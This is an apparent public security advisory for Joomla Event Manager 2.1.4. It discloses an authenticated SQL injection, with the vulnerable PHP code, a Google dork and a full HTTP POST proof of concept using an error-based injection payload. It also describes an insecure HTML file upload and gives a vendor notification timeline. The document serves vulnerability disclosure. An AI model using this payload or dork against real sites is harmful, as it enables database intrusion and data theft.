Joomla! Component com_jem 2.1.4 – Multiple Vulnerabilities
# Exploit Title: Joomla Event Manager 2.1.4 - Multiple Vulnerabilities # Google Dork: inurl:option=com_jem # Date: 08-12-2015 # Author: Martino Sani # Vendor Homepage: www.joomlaeventmanager.net # Software Link: www.joomlaeventmanager.net/download?download=50:jem-2-1-4-stable # Version: 2.1.4 # CVE: - # VULNERABILITIES ##1 SQL Injection Resource: index.php?option=com_jem&view=myevents Parameter: cid Authenticated user can execute arbitrary SQL queries via SQL injection in the functionality that allows to publish/unpublish an event. ### Source Code File: sites/models/myevents.php function publish($cid = array(), $publish = 1) { if (is_array($cid) && count($cid)) { $cids = implode(',', $cid); $query = 'UPDATE #__jem_events' . ' SET published = '. (int) $publish . ' WHERE id IN ('. $cids .')' . ' AND (checked_out = 0 OR (checked_out = ' .$userid. '))'; $this->_db->setQuery($query); } } ### PoC POST /joomla3.4.3/index.php?option=com_jem&view=myevents&Itemid=151 HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/joomla3.4.3/index.php?option=com_jem&view=myevents&Itemid=151 Cookie: 55cfbe406ffe44b0159d9a943820d207=gauuoq0rqlakkltqj4dd1mpd76; jpanesliders_stat-pane=0; jpanesliders_event-sliders-10=2; d6300469df4ad94ccc019d02bc74f647=4339lu3g2tn4lhg2lvgd8ft263 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 352 filter=1&filter_search=&limit=10&cid%5B%5D=1,2)%20AND%20(SELECT%206959%20FROM(SELECT%20COUNT(*),CONCAT(VERSION(),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(1577=1577&filter_order=a.dates&filter_order_Dir=&enableemailaddress=0&boxchecked=1&task=myevents.unpublish&option=com_jem&5c597c6e06b1d6627024f147b562ecaf=1 ------------------------------------------------------------------------------------------- ##2 Insecure File Upload Default JEM settings allows to upload HTML/HTM files as event's attachment. An authenticated attacker could upload malicious HTML/HTM files with malicious code (e.g. Javascript). These attachments could be reachable on "<website>/media/com_jem/attachments/event/event[id]/" or downloaded and executed locally by the victim's browser. Attachments process is handled by "/site/classes/attachments.class.php" file. File types allowed by default are in the "/admin/sql/install.mysql.utf.sql" file. ------------------------------------------------------------------------------------------- # NOTES 08-01-2015: Vendor notification. 08-12-2015: Vendor fixes the issues in the development branch. The author is not responsible for the misuse of the information provided in this security advisory. |